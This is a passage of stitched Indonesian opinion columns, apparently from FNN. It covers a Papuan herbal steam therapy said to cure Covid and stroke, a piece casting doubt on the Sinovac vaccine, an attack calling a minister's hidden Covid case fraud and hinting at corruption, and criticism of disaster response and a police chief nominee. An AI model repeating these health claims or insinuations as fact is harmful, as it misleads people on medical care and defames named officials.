ikut acara terapi ini adalah Letjen (Purn) TNI Agus Sutomo, mantan Inspektur Jenderal ((Irjen) Kementerian Pertahanan dan Komandan Sesko TNI. Dia datang bersama putranya. Pada tahapan pertama, peserta secara bergilir diterapi pukul tubuh dengan kayu. Bagian tubuh yang dipukul adalah punggung, paha, dan betis. Tahapan terapi ini untuk merangsang lancarnya peredaran darah. Selesai tahapan ini, peserta diberi minum ramuan kayu ular asli Fakfak dan qusthul hindi. Ramuan ini pahit di lidah. Kemudian, peserta menuju bilik-bilik bambu. Sebelum masuk ke bilik yang berkapasitas sekira 15 orang, Fadlan memberikan pengarahan kepada peserta. Pengarahan selesai, peserta masuk ke bilik. Peserta duduk mengelilingi panci besar yang berisi rebusan 75 rempah asal Papua. Bacaan Alquran, takbir, serta shalawat mengiringi proses penguapan. Para peserta diminta membuka mata dan menghirup dalam-dalam kepulan asap ramuan. Proses penguapan di dalam bilik berlangsung selama 33 menit. “Lama nya terapi 33 menit, dari sebelumnya 17 menit. Diperpanjang agar ramuan masuk ke tubuh secara maksimal,” jelas Fadlan. Ades Satria Sugestian, warga Depok, Jawa Barat merasakan manfaat dari terapi woukouf. Meski baru pertama kali, Ades berencana akan mengikuti terapi ini secara rutin. “Insya Allah mau rutin. Otot dan saraf yang tegang, Alhamdulillah jadi rileks. Keringat juga deras banget bercucuran. Bisa membakar lemak dan kolesterol juga,” kata Ades seusai menjalani terapi. Fadlan mengatakan, selain meningkatkan imunitas, terapi woukouf berkhasiat untuk mengobati darah tinggi, kolesterol, stroke. “Bahkan ada beberapa peserta yang positif Covid ikuti terapi ini. Alhamdulillah dengan izin Allah sembuh dari Covid,” terang pendakwah yang dikenal sebagai ustaz yang mensosialisasikan kepada masyarakat Papua mandi menggunakan sabun. Adapun soal tarif terapi, Fadlan tak mematok. Namun, jika masyarakat membayar, dialihkan untuk pembangunan masjid dan sarana Pesantren Nuu Waar AFKN. “Kalau kita memasang tarif, kasihan saudara-saudara kita. Bayar hanya dengan shalawat kita terima, dengan syahadat kita terima. Ini bagian bakti pesantren AFKN untuk masyarakat,” ujar Fadlan. Sampai berita ini ditulis, tercatat sudah 7000 orang yang mengikuti terapi woukouf. Bagi masyarakat yang ingin terapi, maka harus mendaftar dua pekan sebelumnya. “Siapa pun boleh datang. Mau Islam, mau bukan Islam, silahkan. Kita melayani semua orang. Daftar dua pekan sebelumnya, karena kita siapkan rempah-rempah,” jelas Fadlan. ** Penulis adalah Wartawan Senior FNN.co.id.

Uji Klinis Sinovac Bandung, 25 Positif Covid-19, Masih Yakin Sinovac Aman?

by Mochamad Toha Surabaya FNN - Faktanya China belum berhasil atasi Virus Corona alias Covid-19 hingga kini! Fakta: sekarang ini China kembali mengumumkan “kondisi darurat” untuk lebih dari 37 juta penduduknya guna memadamkan infeksi kasus Covid-19 pada Rabu (13/1/2021). “Negeri Panda” kembali bergerak tegas untuk menahan infeksi di negaranya. Sebagian besar wilayah China telah mengendalikan virus corona sejak kemunculannya di Wuhan pada akhir 2019. Namun, sekarang ini China kembali dilanda infeksi Covid-19. Tapi, dalam beberapa minggu terakhir, sejumlah kasus infeksi kembali muncul. Kondisi itu mendorong penguncian lokal diberlakukan, pembatasan perjalanan langsung, dan pengujian luas terhadap puluhan juta orang. Melansir Kompas.com, Rabu (13/01/2021, 16:17 WIB), lebih dari 20 juta sekarang berada di bawah semacam isolasi di wilayah utara negara itu. Pemerintah timur laut Kota Heilongjiang memberlakukan “keadaan darurat” di kota berpenduduk 37,5 juta orang itu. Penduduk diminta tak meninggalkan provinsi itu, kecuali benar-benar diperlukan, dan untuk membatalkan konferensi dan pertemuan. Itu sebagai tanggapan atas temuan 28 kasus Covid-19 pada Rabu (12/1/2021), termasuk 12 kasus yang tidak menunjukkan gejala. Tiga infeksi ditemukan di ibu kota Provinsi Harbin, yang menjadi tuan rumah festival patung es terkenal yang biasanya menarik banyak wisatawan. Selama beberapa hari ke depan, suhu di salah satu kota terdingin China itu bisa turun hingga minus 30 derajat Celcius. Sementara itu, Kota Suihua ditutup pada Senin (11/1/2021), setelah melaporkan satu kasus yang dikonfirmasi dan 45 kasus tanpa gejala. Kota yang bisa ditempuh dengan perjalanan singkat mobil ke utara China itu adalah rumah bagi lebih dari 5,2 juta orang. Beberapa kota kecil lain di dekat Suihua ditutup atau menerapkan pembatasan perjalanan, kata pihak berwenang Rabu (13/1/2021). Ratusan juta orang diperkirakan akan berpindah ke seluruh negeri pada masa itu. Ada kekhawatiran bahwa perjalanan tahunan yang sangat dinanti-nantikan, akan terhambat jika kluster baru terus berlanjut. Padahal, periode tersebut seringkali merupakan satu-satunya kesempatan bagi pekerja migran untuk melihat keluarga mereka. Komisi Kesehatan Nasional China melaporkan 115 kasus Covid-19 baru pada Rabu (13/1/2021). Sebanyak 90 kasus lainnya ada di sebuah klaster di Provinsi Hebei, yang mengelilingi ibu kota Beijing. Pihak berwenang pekan lalu meluncurkan uji coba massal dan menutup jalur transportasi, sekolah, dan toko di Kota Shijiazhuang, Hebei. Kota ini diyakini menjadi pusat wabah terbaru. Wilayah tetangganya, Kota Xingtai, rumah bagi tujuh juta orang, juga telah dikunci sejak Jumat lalu. Apa yang terjadi di China sekarang ini menunjukkan, hingga kini China belum juga berhasil menghentikan pandemi Covid-19. China hanya bisa mengendalikannya dengan “mengunci” wilayah dan secara medis dengan obat-obatan yang ada. Nyaris tak terdengar sama sekali “sukses” Vaksin Sinovac berhasil mengatasi Covid-19 di China. Apa mungkin karena terlanjur diekspor ke Indonesia dan negara lainnya? Wallahu Akbar. Lha, China saja tidak pake Sinovac, mengapa kita pake? Lebih ironis lagi, untuk Uji Coba fase-3 Sinovac dilakukan di negara lain seperti Indonesia, Turki, dan Brazil. Mengapa bukan di China? Padahal, bibit yang ditanam di vaksin Sinovac itu virus Covid-19 “asli” China inaktif karena telah “dimatikan”. Sinovac China melaporkan temuan beragam dalam uji coba vaksin Covid-19. Sebagaimana diberitakan media lokal, Rabu (18 November 2020 pukul 16.09 GMT + 7), Sinovac Biotech, salah satu pelopor vaksin Covid-19 China. Sinovac menerbitkan temuan beragam dari 2 uji klinis pertamanya pada Selasa (17/11/2020). Perusahaan menyebut, vaksin itu menghasilkan tingkat antibodi pelindung yang lebih rendah dalam aliran darah dibandingkan dengan yang muncul pada pasien Corona yang sudah pulih. Sebagai perbandingannya, Moderna dan Pfizer, yang memiliki vaksin eksperimental terpisah, telah melaporkan tingkat antibodi yang setara atau lebih tinggi daripada yang diproduksi pada pasien virus Corona yang pulih. Hasil awal ini menempatkan Sinovac tertinggal untuk membuktikan vaksinnya efektif dalam uji coba Fase 3 yang sedang berlangsung. “Itu adalah kekhawatiran,” kata Thomas Campbell, dekan penelitian klinis di University of Colorado, tentang rendahnya tingkat antibodi dalam uji coba Fase 2 Sinovac. “Ini adalah poin penting di sini, dalam hal membandingkan vaksin ini dengan, vaksin Moderna dan Pfizer.” Saat dunia menunggu vaksin Covid-19, beberapa di China mendapatkan dosis dini. Indonesia baru-baru ini membuat spekulasi pada vaksin Sinovac ketika para pejabatnya bergulat dengan wabah virus Covid-19 yang parah. Dalam wawancara dengan Reuters pada Jumat (13/11/2020) saat itu, Presiden Joko Widodo mengatakan, pemerintah telah meminta izin darurat dari BPOM untuk meluncurkan vaksin pada akhir 2020. Dalam studinya yang diterbitkan Selasa, di jurnal Peer-review the Lancet, Sinovac menulis, meskipun tingkat antibodi lebih rendah, ia yakin vaksinnya akan terbukti efektif. Untuk jenis Covid-19 lainnya, tingkat antibodi yang lebih rendah masih memberikan kekebalan, katanya. Apakah ini masalahnya, padahal kala itu sedang diuji dalam uji coba Fase 3 Sinovac yang sedang berlangsung di Indonesia, Brasil, dan Turki. Setelah melaporkan tingkat antibodi yang kuat dalam uji coba Fase 2, Moderna dan Pfizer dalam beberapa hari terakhir mengumumkan tingkat kemanjuran Fase 3 pendahuluan di atas 90 persen, sebuah hasil yang disambut dengan antusiasme dari dunia medis. (Untuk vaksin virus Corona eksperimental mereka, Moderna yang bermitra dengan National Institutes of Health dan Pfizer bermitra dengan perusahaan bioteknologi Jerman, BioNTech.) Seorang juru bicara Sinovac mengatakan bahwa perusahaan tidak dapat segera merilis tingkat kemanjuran Tahap 3 pendahuluannya sendiri, karena tidak cukup kasus virus korona yang muncul dalam populasi penelitiannya. “Untuk hasil analisis awal Tahap 3, kami perlu mengakumulasi sejumlah kasus untuk analis data melakukan analisis mereka," kata juru bicara Sinovac dalam sebuah pernyataan kepada The Washington Post. “Kami belum memiliki data ini, jadi kami belum bisa membalas.” Campbell mengatakan Moderna dan Pfizer dapat memberikan hasil Tahap 3 awal, sebagian, karena meningkatnya wabah virus Corona di Amerika Serikat, yang mengakibatkan cukup banyak kasus di antara mereka yang terdaftar dalam studi mereka untuk analisis statistik. Sementara Sinovac telah mengumumkan beberapa hasil dari uji coba Fase 1 dan Fase 2 selama musim panas, menyebut mereka sukses, studi peer-review minggu ini adalah yang pertama kali memberikan data dan detail. Uji coba Fase 1 Sinovac dimulai pada April dengan 144 peserta, dan uji coba Fase 2 dimulai pada Mei dengan 600 orang. Peserta berusia antara 18 sampai 59 tahun dan direkrut dari satu kabupaten di provinsi Jiangsu selatan China. Dalam uji coba Fase 1 Sinovac, 23 dari 96 orang penerima vaksin melaporkan efek samping, yang menurut Sinovac sebagian besar ringan, seperti nyeri di tempat suntikan. Satu orang mengalami reaksi gatal-gatal yang parah dan sembuh dalam tiga hari dengan pengobatan. Dalam uji coba Fase 2, peserta dengan cepat memproduksi antibodi sebagai respon terhadap injeksi vaksin, tetapi tingkat antibodi tetap di bawah pengukuran pada pasien yang pulih. Bagaimana dengan uji klinis di Indonesia? Meski uji klinis Fase 3 belum selesai, ironinya BPOM sudah mengizinkan penggunaan darurat, Emergency Use of Authorization (EUA). Sebanyak 25 relawan uji klinis kandidat vaksin dari Sinovac terkonfirmasi positif Covid-19, terdiri dari 18 orang penerima obat kosong (plasebo) dan 7 orang lainnya telah mendapatkan dua kali vaksinasi Covid-19. Sebelumnya, ada 1.620 relawan yang mengikuti uji klinis Fase 3 di Kota Bandung. Berbeda dengan negara lainnya yang mengambil relawan dari kalangan tertentu, relawan uji klinis Fase 3 di Bandung itu berasal dari kalangan terbuka. BPOM pun telah mengumumkan pekan lalu tingkat efikasi atau kemanjuran dari vaksin ini membentuk antibodi di kisaran 65%. Angka tersebut masih berada di atas batas aman yang ditetapkan WHO yakni 50%. Ternyata yang terinfeksi Covid-19 versi Fakultas Kedokteran Universitas Padjadjaran sangat berbeda dengan versi IDI dan Universitas Gadjah Mada (UGM) yang menyebut adanya 101 orang yang terinfeksi Covid-19. Menurut Arie Karimah, Pharma-Excellent alumni ITB, membuat perbandingan uji klinis vaksin, Pfizer, dan Moderna: Volunteer yang masih terinfeksi meskipun telah mendapat vaksinasi: Sinovac: 26 dari 800 orang (3,25%); Pfizer: 8 dari 21.500 orang (0,04%); Moderna: 11 dari 15.000 orang (0,07%). Volunteer dari kelompok plasebo yang terinfeksi: Sinovac: 75 dari 800 orang (9,4%); Pfizer: 162 dari 21.500 orang (0,75%); Moderna: 185 dari 15.000 orang (1,08%). Prediksi Jumlah Terinfeksi: Jika ada 1.000.000 orang divaksinasi, maka kemungkinan yang Masih Bisa terinfeksi ringan: Sinovac: 32.500 orang (Bukan 325.000 orang); Pfizer: 372 orang; Moderna: 733 orang. Apakah dengan fakta masih adanya relawan yang terinfeksi Covid-19 itu bisa disebut gagal? Apalagi, China sendiri ternyata mengimpor vaksin produk luar! Masih percaya Sinovac? Penulis adalah Wartawan Senior FNN.co.id

Sembunyikan Positif Covid, Menko Airlangga Melakukan Penipuan Besar

by Asyari Usman Medan, FNN - Entah dengan alasan apa, Menko Perekonomian Airlangga Hartarto tidak mengumumkan dirinya positif Covid-19, tahun lalu. Kondisi positif ini baru ketahuan ketika Airlangga ikut menjadi donor plasma konvalesen pada 18 Januari 2021. Pendonoran ini otomatis menginformasikan bahwa Airlangga pernah positif Corona. Hari berikutnya, 19 Januari 2021, barulah keluar penjelasan jurubicara Kemenko Perekonomian Alia Karenina yang mengakui bahwa bosnya positif Covid-19 tahun lalu. Airlangga ikut dalam acara online Pencanangan Gerakan Nasional Pendonor Plasa Konvalesen yang diselenggarakan oleh Menko Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhajir Effendy. Banyak pertanyaan, dugaan dan penilaian valid yang akan muncul dari penyembunyian kasus positif Menko Airlangga. Sebab, dia adalah pejabat publik dengan posisi tertinggi di bawah presiden. Dari Airlangga dan semua kolega kabinetnya selalu dituntut integritas, kejujuran, dan transparansi. Dia adalah salah seorang teladan bangsa. Mengapa Arilangga harus menyembunyikan positif Covid-19 itu? Ini sangat berbahaya bagi Presiden Jokowi dan juga para pejabat di lingkungan Airlangga. Dan juga berbahaya bagi orang-orang yang berjumpa dengan Pak Menko. Tapi, bisa juga tidak berbahaya kalau Airlangga melakukan isolasi mandiri tanpa diketahui publik. Cuma, bisa saja sudah ada “kluster Airlangga” akibat penyembunyian itu. Bisa jadi juga ada orang atau orang-orang Istana yang terinfeksi. Dan dugaan-dugaan lainnya. Airlangga beruntung bisa sembuh. Apa yang terjadi kalau kondisi positif Pak Menko waktu itu berkembang menuju fatalitas? Bukankah penyembunyian itu menjadi masalah besar? Pihak Istana menegaskan mereka tidak tahu sama sekali kasus positif Airlangga. Heru Budi Haryono, Kepala Sekretariat Presiden (Kasetpres), tampak agak kesal. Dia mengatakan, seharunya Kemenko Perekonomian menjelaskan kondisi positif yang dialami Arilangga. Tetapi, di lingkungan Istana sendiri ada gelagat yang memunculkan tanda tanya juga. Salah satu pertanyaan itu adalah: apakah selain Budi Karya Sumadi (menteri perhubungan), tidak ada pejabat penting lain yang positif Covid? Apakah tidak ada masalah di unit-unit pelaksana tugas di lingkungan Istana seperti KSP, Sekab, Setneg, Paspampres, Rumah Tangga Kepresidenan, dlsb? Pertanyaan puncaknya: apakah Presiden Jokowi sendiri ok-ok saja selama ini? Begitu juga dengan keluarga Presiden, apakah tidak pernah ada masalah dengan Covid? Publik wajar mendapatkan jawaban dan penjelasan yang transparan untuk pertanyaan-pertanyaan ini. Sikap Airlangga merahasiakan positif Covid-nya memicu kesangsian besar publik tentang kondisi yang sesungguhnya di lingkungan Istana. Tidak berlebihan kalau tim dokter kepresidenan mengeluarkan penjelasan apa adanya agar ‘trust’ publik terjaga. Kembali ke kasus Airlangga, yang lebih berbahaya lagi adalah pelanggaran etika kejujuran dan keterbukaan. Airlangga tidak seharusnya menyembunyikan peristiwa penting ini. Dengan tindakan penyembunyian penyakit yang sedang mengancam Indonesia saat ini, Pak Menko sengaja mengelabui rakyat. Ini adalah penipuan besar. Kasus ini memunculkan dugaan yang valid tentang mentalitas Airlangga dan juga para kolega kabinet. Patut diduga Airlangga telah melakukan banyak penipuan lain dalam implementasi kewenangan dia sebagai Menko Perekonomian. Penyembunyian positif Covid itu bisa disebut bentuk korupsi juga. Dan tak salah kalau korupsi penyembunyian Covid ini adalah cermin dari potensi-potensi korupsi lainnya. Dalam perspektif ini, Airlangga tidak lagi memiliki pijakan moral untuk terus duduk sebagai menteri.[] Penulis adalah Wartawan Senior FNN.co.id.

Negara Tidak Boleh Kalah Hadapi Bencana

KEMARIN, Presiden Jokowi gagal berkunjung ke Majene salah satu episentrum gempa bumi di Sulawesi Barat. Alasannya, karena jalan menuju ke lokasi terputus akibat longsor. Seorang kepala negara gagal mengunjungi korban bencana alam jelas sangat memalukan. Apalagi kalau alasannya cuma karena kendala transportasi. Padahal, mempunyai helikopter kepresidenan? Kalau helikopter tersebut ditinggal di Jakarta bukankah presiden bisa meminjam helikopter dari Pangkalan Udara Sultan Hasanuddin, Makassar? Kenyataan ini membuat kita menjadi miris mengingat belakangan ini sering terdengar slogan “Negara Tidak Boleh Kalah” yang digembar-gemborkan oleh beberapa pejabat dan ormas tertentu. Slogan tersebut adalah bahasa politik yang merujuk pada sebuah ideologi tertentu untuk yang menyudutkan sebuah kelompok tertentu dalam masyarakat yang berujung pada pembubaran Front Penyelamat Islam (FPI) baru-baru ini. Baru-baru ini kita saksikan “negara” begitu gagah dan percaya diri membubarkan FPI, menangkap pemimpinnya Habieb Rizieq Shihab, bahkan membekukan semua rekening bank yang terkait dengan FPI. Akan tetapi, sekarang kita melihat presiden gagal menuju ke lokasi bencana hanya karena kendala transportasi. Artinya, negara saat ini begitu lemah ketika menghadapi bencana alam. Padahal ribuan korban gempa menunggu kedatangan presiden agar mendapat perhatian sungguh-sungguh. Negara kita sekarang ini memang terlihat kuat kalau menghadapi hantu. Iya namanya juga hantu, sesuatu yang tak terlihat tetapi menakutkan. Akan tetapi, anehnya begitu menghadapi realitas, tiba-tiba negara menjadi lemah. Lihat saja bencana alam di awal tahun ini begitu beruntun, mulai dari banjir, tanah longsor, gempa, angin puting beliung hingga gunung meletus. Kita saksikan betapa rakyat harus berjuang sendiri menghadapi alam yang ganas. Banyak yang marah-marah kepada pemerintah karena terlambat mendatangkan bantuan logistik, kesehatan dan segala pertolongan pertama yang dibutuhkan para korban. Bencana alam adalah takdir yang dihadapi Indonesia dari tahun ke tahun. Harusnya kita sudah siap menghadapi setiap kali bencana datang. Dunia internasional sudah lama menetapkan Indonesia sebagai negara paling rawan bencana. Segala perhatian dan bantuan keuangan internasional sudah banyak mengalir ke negeri ini. Kendala transportasi harusnya bukan menjadi alasan lagi bagi negara agar segera memberikan bantuan dan harapan hidup bagi rakyat yang tertimpa musibah. Uang hibah dari dunia internasional selama ini ke mana saja larinya? Itu yang jadi pertanyaan rakyat sekarang. Tahun lalu Badan Nasional Penanggulangan Bencana (BNPB) harus menyewa helikopter Chinook dari Amerika Serikat untuk mengatasi kebakaran hutan dan penanggulangan Covid-19. Artinya, BNPB dari dulu butuh alat angkut berat lintas udara untuk memaksimalkan tugas mereka sebagai leading sector di bidang bencana alam. Akan terapi, badan yang kini dipimpin Doni Monardo itu cuma bisa menyewa. Kalau masa sewa habis ya harus dikembalikan. Nah ketika bencana alam terjadi beruntun di bulan Januari ini, helikopter itu tidak nongol di pusat bencana besar seperti banjir besar di Kalsel dan gempa hebat di Sulbar ini. Helikopter angkut raksasa sekelas Chinook adalah urgensi bagi Indonesia. Sudah banyak stake holder atau pemangku kepentingan kebencanaan yang memimpikan Indonesia memiliki helikopter serba guna ini. Namun, sampai sekarang tidak kesampaian. Konon karena harga dan biaya perawatannya mahal. Ada yang bilang lebih baik menyewa saja. Masalahnya, kalau menyewa, perlu waktu untuk mendatangkannya dari luar negeri. Sementara bencana dan korban perlu pertolongan secepat mungkin. Sekarang bandingkan urgensinya dengan proyek LRT dan bandara internasional yang digeber habis-habisnya beberapa tahun terkahir. Faktanya LRT Palembang dan Bandara Soekarno- Hatta tidak diminati masyarakat. Bandara Internasional Kertajati dan Silangit sepi total. Semua proyek ini merugi dan mungkin pinjamannya sulit dibayar. Padahal, proyek tersebut tidak mendesak dibangun. Tidak ada juga masyarakat setempat yang mendesak kepada pemerintah agar membangun proyek itu. Tarulah misalnya BNPB tidak punya anggaran untuk membeli dan merawat pesawat ini. Namun, anggarannya bisa dialokasikan untuk alat angkut di bawah penguasaan TNI atau Polri. Dalam keadaan perang, pesawat tersebut terbukti efektif sebagai alat angkut maupun artileri udara. Dalam keadaan damai pesawat ini sangat handal digunakan untuk operasi kemanusiaan. Tidak usah jauh-jauh, Singapura pernah mengirim armada heli Chinook-nya saat membantu bencana tsunami di Aceh, 26 Desember 2004. Helikopter inilah yang mengirim logistik dan mengevakuasi korban dari wiayah-wilayah yang tak terjangkau alat transportasi lain. Heli ini harganya mahal. Namun sangat efektif dan tangguh. Bisa mengangkut 50 personil, 12 ton barang, jarak jelajahnya pun luar biasa, bisa sampai 700 km lebih. Singapura yang luasnya cuma 700 km persegi saja punya pesawat ini. Mereka membelinya tentu bukan sekedar untuk menjaga wilayahnya yang secuil itu. Pembeliannya, jelas karena punya misi kemanusiaan, TNI-AD sejak tahun 2018 sudah berniat membeli helikopter ini. Tapi sampai sekarang tidak jelas kelanjutannya. Untuk tahun anggaran 2021, TNI dan Polri masing-masing mendapat pagu anggaran sebesar Rp 140 triliun dan Rp 120 triliun yang menempatkan mereka sebagai tiga besar penerima APBN selain PUPR. Tapi tidak terlihat rencana kongkrit mereka untuk menganggarkan pembelian alat transportasi serba guna ini untuk alat angkut personil maupun misi kemanusian. Negara tidak boleh kalah. Kita butuh TNI dan Polri yang memiliki daya gentar terhadap musuh negara. Namun, kita jadi sedih sekarang karena melihat TNI dan Polri begitu sigap mencopoti baliho FPI, tapi tak berdaya ketika harus segera memberi pertolongan kepada rakyat yang tertimpa bencana. **

Amerika, From The New World Order to The New Covid World Order

by Sayuti Asyathri Jakarta FNN – Tulisan ini sebagai catatan untuk Amerika menjelang pelantikan Joe Biden sebagai Presiden Amerika Rabu 20 Januari 2021. Amerika sendiri di dalam dirinya adalah sebuah bangsa yang terbelah. An inherently divided nation. Demokrasi dengan sistem cheks and balances adalah sebuah sistem yang didisain untuk mengelola enerji yang terbelah tersebut untuk memperkuat Amerika dalam pencapaian cita cita kebangsaannya. Salah satu alasan utama mengapa kalangan konservatif tetap mempertahankan kebijakan, dimana rakyat, dengan syarat tertentu, dibolehkan memiliki senjata. Kebijakan tersebut dianggap sebagai salah satu cara bagi mereka untuk tetap mempertahankan diri dari ancaman “negara”. Kebijakan yang juga untuk menyelamatkan cita-cita Amerika yang bersatu dalam perserikatan. Apabila negara terlempar keluar dari poros keseimbangan dalam mekanisme cheks and balances bisa berakibat patal. Sebab tidak semua negara dengan demokrasi cheks and balances sebagaimana yang diterapkan Amerika menggunakan cara seperti itu. Tetapi sejarah perang sipil Amerika yang menyimpan enerji pembelahan dan pertentangan mendasar itu telah meyakinkan Amerika selama ini untuk menerapkan kebijakan cheks and balances. Meskipun hasil Pemilihan Presiden (Pilpres) Amerika yang yang baru lalu juga bisa menjadi ukuran meningkatnya penentangan atas kebijakan dalam soal itu. Sementara kebijakan cheks and balances dan sejumlah kebijakan lain semacam itu, sangat khas Amerika. Terutama karena posisinya sebagai pusat perhatian dan pergesekan paling intensif dengan semua bagian dunia lain. Amerika menerapkan banyak kebijakan yang unik dan tidak mudah. Bahkan tidak bisa ditiru oleh negara lain. Kini, Amerika terancam keluar dari keseimbangan cheks and balances yang membanggakan selama ini. Semua akibat hasil Pilpres yang telah memenangkan Joe Biden sebagai presiden. Menjelang pelantikan Biden, banyak senjata-senjata yang habis terbeli. Sebagian toko malah menambah jumlah stafnya untuk melayani pembeli senjata. Suasana dan nuansa instabilitas sangat mewarnai kehidupan masyarakat Amerika sekarang ini. Belum pernah Amerika mengalami sebuah situasi demokratis yang seperti ini. Siatuasi sekarang menempatkan Amerika seperti keadaan di negara negara berkembang yang bergolak dan tidak stabil. Negara-negara berkembang yang sering mengundang Amerika dan Barat selama ini untuk dijadikan sebagai sasaran khotbah tentang hak asasi manusia dan demokrasi. Situasi yang terjadi sekarang ini adalah sebuah ujian dan sekaligus gugatan telak atas jalan sejarah sebuah negara. Amerika yang dalam perkembangannya telah menggabungkan dirinya dalam enerji imperialisme yang mengganas dan pengkhotbah yang tidak otentik tentang hak asasi manusia dan demokrasi di berbagai belahan dunia. Namun sejarah menunjukkan bahwa Amerika menjadi negara kuat atau terkuat di dunia hanya kalau berhasil mempertahankan keutuhannya dan menyelamatkan demokrasinya. Karena posisinya yang selama ini mendefinisikan potret dunia dalam perang dan ketidakadilan. Rumus sederhananya apabila Amerika berubah menjadi lebih baik, maka dunia juga akan memetik hasilnya. Hanya saja, ada kekuatan lain yang kini mendefiniskan kekuatan Amerika dan dunia, yaitu covid-19. Dunia akan melihat bagaimana kekuatan Amerika bangkit mengatasi tantangan tersebut. Mengingat bahwa pukulan covid-19 yang perkasa atas Amerika akan jauh lebih parah. Karena pukulan itu berkelindan dengan selain prestasi Amerika, juga dosa-dosa kemanusiaannya yang bagi sebagian besar belahan dunia sulit untuk dimaafkan. Bagi dunia, siapapun yang terpilih sebagai presiden Amerika, itu adalah refleksi perjalanan dialektisnya sebagai sebuah negara yang tidak pernah selesai mendefiniskan dirinya. Seperti kata Samuel P Huntington, masalah sejatinya adalah karena Amerika tidak miliki sebuah akar budaya yang otentik. Padahal "culture matter", katanya. Situasi yang dialami Amerika itu adalah pilihan dari bait puisi Walt Whipman tentang cita-cita menjadi sebuah bejana pelebur, dari sebuah melting pot. Dengan asumsi seperti itu, maka terpilihnya Joe Biden mestinya juga dilihat sebagai hasil refleksi dialektis itu. Bila itu yang terjadi maka Amerika akan dihela Biden menurut sebuah logika tatanan baru, yakni dari The New World Order menuju The New Covid World Order. Pusat tatanan baru itu, Amerika dan dunia diyakinkan dan dideterminasi, bukan oleh pilihan spiritualitas atau materialisme. Tetapi oleh keduanya sebagai suatu kesatuan yang mengalami asyik masuk dialektis eksistensial. Covid ada di pusat rekleksi dialektis itu, menginterupsi kehidupan manusia dan menarik manusia ke istana eksistensialnya yaitu kerendahtian, ketulusan dan kepedulian. Sebab manusia tidak pernah berhenti bertengkar di arus gelombang kemanusiaan dan keadilan meskipun dari situ keluar yakut dan marjan. Disana hampir tidak pernah ada kedamaian. Pilihan arus spirituslisme dan materialisme itu juga selalu dalam keasyikan eksistensial, sehingga tidak pernah berpisah. Seakan-akan karena cinta dan kepedulian. Karena denyut cinta dan kepedulian abadi itulah kita selalu ada, dan berbagi cerita tentang hari depan manusia yang kita cintai. Manusia-manusia besar dalam kehidupan dunia adalah pasak-pasak kemanusian dan cahaya keadilan. Boleh jadi ungkapan itu adalah sebuah tafsir metafora dari kalimat kitab suci. Kita sedang memasuki dengan pasti sebuah masa depan yang, suka atau tidak, didefinisikan oleh The New Covid World Order. Sebuah dunia dengan tatanan baru yang menantang kehadiran manusia manusia yang berkualifikasi pasak itu untuk menentukan dan menyelamatkan masa depan dunia kita bersama. Penulis adalah Alumni of Advanced Course of National Defense Institute, Indonesia, KSA X, 2000.

DPR Harusnya Tolak Listyo Sigit Sebagai Kapolri

by Luqman Ibrahim Soemay Lhokseumawe FNN - Listyo Sigit Prabowo, Kabareksrim berpangkat Komisaris Jendral (Komjen) Polisi, telah resmi dicalonkan oleh Presiden menjadi Kapolri. Sigit dinilai Presiden sebagai orang tepat menggantikan Jendral Idham Aziz, yang segera pensiun. Sigit hebat. Karena Sigit dikenal luas pernah menjadi ajudan Presiden Jokowi itu, mengalahkan tiga Komjen senior lainnya. Tiga nama itu adalah Komjen Pol. Gatot Edy Pramono (Letting 1988A) , Komjen Pol. Boy Rafly Amar (Letting 1988A) dan Komjen Pol. Agus Andrianto (Letting 1989) harus menerima kenyataan terlempar dari meja Presiden sebagai calon Kapolri. Mereka tidak lebih unggul dari Sigit. Karena itu Sigit memang Top. Sigit, mungkin tidak akrab dengan Jokowi kala bertugas Solo. Tetapi itu tidak mengubah hal apapun bahwa Sigit dan Jokowi, telah saling kenal sejak di Solo. Entah takdir atau begitulah roda politik bekerja. Sigit dan Jokowi jumpa lagi dalam status yang berbeda. Jokowi menjadi Presiden dan Sigit jadi ajudannya. Kini, Sigit dicalonkan menjadi Kapolri oleh Jokowi. Sangat istimewa, surat Presiden tentang pencalonan dirinya, yang ditujukan ke DPR diantar sendiri oleh Pratikno, Menteri Sekertaris Negara. Ini istimewa. Tetapi jangan bilang kenyataan itu sebagai refleksi aktual tebalnya politik perkoncoan antara Sigit dengan Jokowi. Pernyataan itu akan sangat mudah disanggah oleh Menteri Sekretaris Negara. Dia bisa bilang itu adalah tata karma baru yang sedang dikembangkan Presiden dalam menjaga relasi manis dengan DPR. Ini tata krama baru hubungan non legal antara Presiden dengan DPR. Jadi seharusnya dihormati, bukan dikritik. Lagi pula cara itu sama sekali tidak melanggar hukum. Sigit, pria berpembawaan tenang dan tidak banyak cakap ini, entah sedang riang gembira dengan pencalonannya atau tidak. Tetapi Sigit, entah apa pertimbangannya, dalam mengkonsolidasi jalannya menuju Tri Barata (TB) 1, atau mengirimkan pesan kepada masyaraat bahwa dirinya menghormati para senior, mendatangi sejumlah mantan Kapolri. Sigit pas untuk jabatan Kapolri? Suara-suara di luar sana, terlihat sama tone-nya. Dia pas, Dia punya kompetensi untuk jabatan itu. Macam-macam bukti disodorkan. Diam-diam Sigit mengecek kelangkaan persedian barang kebutuhan rakyat, yang disinyalir langka. Terakhir diam-diam Sigit mengecek fenomena kelangkaan kadelai. Sewaktu jadi Kapolda di Banten, Sigit pergi ke Pesantren-Pesantren. Alhasil,Sigit Dia digambarkan sebagai sosok yang memiliki hubungan bagus dengan pesantren-pesantren di Banten. Logiskah soal-soal itu dipertimbangkan? Tidak juga. Pengecekan kelangkaan persediaan bahan pangan itu pekerjaan teknis, yang hanya memerlukan penyebaran intel-intel. Tidak perlu sampai Kabareksrim. Sekali lagi itu tidak perlu. Kecuali membentuk citra, harus jujur dikatakan tidak ada urgensinya Kabareskrim turun mengecek harga-harga di pasar.. Soal relasinya dengan pesantren-pesantren, apa perlu dipertimbangkan? Tidak juga. Betul sejarah pembantaian ummat Islam terheboh dalam masa pemerintahan Pak Harto terjadi ketika Penglima ABRI berada di tangan Jendral Beny Moerdani. Sistem kala itu memungkinkan Pangab mengendalikan bedil sekaligus hukum. Pada kepemimpinan Beny Moerdani inilah ummat Islam terteror secara sistimatis. Puncaknya terjadi pembantaian terhadap Ummat Islam di Tanjung Priok tahun 1984. Tetapi kenyataan itu, dimana Benny Moerdani yang merangkap sebagai Pangkopkamtib tersebut tidak boleh dipakai sebagai alasan untuk menolak Sigit sebagai Kapolri. Tidak begitu. Kerana bukan itu soalnya. Namun harus diakui bahwa Sigit punya masalah nyata, yang tidak bisa disederhanakan. Juga tidak bisa dibiarkan. Akan sangat membahayakan bangsa dan negara ini ke depan. Apa masalah nyata Sigit itu? 